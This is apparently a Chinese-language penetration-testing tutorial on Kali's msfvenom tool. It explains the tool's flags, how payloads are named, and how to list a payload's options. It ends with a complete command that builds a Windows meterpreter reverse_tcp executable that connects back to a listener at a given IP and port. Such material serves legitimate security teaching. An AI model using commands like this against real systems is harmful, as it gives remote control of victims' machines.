Kali(渗透工具):09---msfvenom生成远程控制payload

  • 被控端可以是一段代码,也可以是一个直接执行的程序。在Kali Linux中产生远程控制被控端程序的方式很多,但用的最多的就是msfvenom命令

一、msfvenom命令的功能与概念

  • 功能:用来生成一个远程控制程序
  • 概念:msfvenom命令是渗透测试软件Metasploit的一个功能,但是我们可以直接在命令行中使用
  • msfvenom命令的前身:旧版本中Metasploit软件提供两个关于远程控制程序的命令:一个是msfpayload命令用来生成攻击载荷。另一个是msfencode命令用于对攻击载荷进行编码。但是现在这两个命令被合并为msfvenom命令

二、参数

  • -p,  --payload        指定要生成的payload(攻击荷载)
  • -l,    --list                [type] 列出一个模块类型列表。参数是:payloads、encoders、nops、all
  • -n,--nopsled        为payload生成数量为n的NOP指令
  • -f, --format          指定输出格式(使用 --help-formats来获取msf支持的输出格式列表)
  • -e, --encoder      指定需要使用的编码器
  • -a, --arch                指定payload的目标架构
  • --paltform              指定payload的目标平台
  • -s,--space            设定有效供给荷载的最大长度
  • --encoder-space    编码的有效负荷的最大长度(默认是使用-s 的值)
  • -b,--bad-chars    需要规避(avoid)的字符(characters)列表,例如:‘\x00\xff’
  • -i,--iterations      对负荷进行编码的次数。
  • -c,--add-code      指定一个详细win32 shellcode文件给include
  • -x,--template      指定一个自定义可执行的文件作为一个模板(template)
  • -k,--keep                          保留模板行为并且把负荷作为一个新的线程注入
  • -o,--out                指定存储payload的位置
  • -v,--var-name      指定一个自定义变量名作为确切的输出格式
  • --smallest                           生成最小可用攻击负荷
  • -h,--help                           显示msfvenom使用信息
  • --payload-options              攻击负荷(payload)标准参数(options)列表
  • --help-formats                    变量格式列表
  • --help-paltform                   变量平台的列表信息

如果生成/使用一个已存在的被控端程序,只需要-p、-f、-o来给出分别指出要使用的被控端程序、程序所应用的平台、生成的payload保存的位置

三、查看Metasploit提供的被控端程序类型

查看Metasploit提供的被控端程序类型

Metasploit中的payload分类下提供了大量的被控端程序,可以使用如下命令来查看

这个命令的执行结果一共列出了当前系统一共有547个payload

  • Name:可以使用的payload的名称
  • Description:对payload的描述

Kali(渗透工具):09---msfvenom生成远程控制payload_第1张图片

payload的命名规则

  • 三段式标准:操作系统+控制方式+模块具体名称

操作系统:有Windows、Linux、Android等

控制方式:主要有shell和Meterpreter等几种。其中Meterpreter是最优秀的一种

模块的名称:可以判断该payload是正向的还是反向的控制程序(例如:reverse_tcp就是采用TCP协议的反向控制)

四、生成payload时需要设置的参数

  • 每个payload在使用的时候需要设定一些参数,如果你对一个payload不熟悉,可以使用以下命令来查看创建这个payload需要设置的参数

下面以“windows/meterpreter/reverse_tcp”这个payload为例,查看其使用时需要设置的参数

  • Name:参数的名称
  • Current Setting:参数的默认值
  • Required:参数值是否必须要设置
  • Description:对这个参数的介绍

Kali(渗透工具):09---msfvenom生成远程控制payload_第2张图片

五、生成一个远程控制payload案例

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.169.130 lport=5000 -f exe -o /root/payload.exe
  • windows/meterpreter/reverse_tcp:该payload为Windows下使用meterpreter控制的反向的控制程序
  • lhost、lport:该payload执行时,自动连接的ip和端口
  • -f:生成的payload为.exe格式的
  • -o:payload软件保存在/root目录下,名为payload.exe

你可能感兴趣的:(Kali(渗透工具))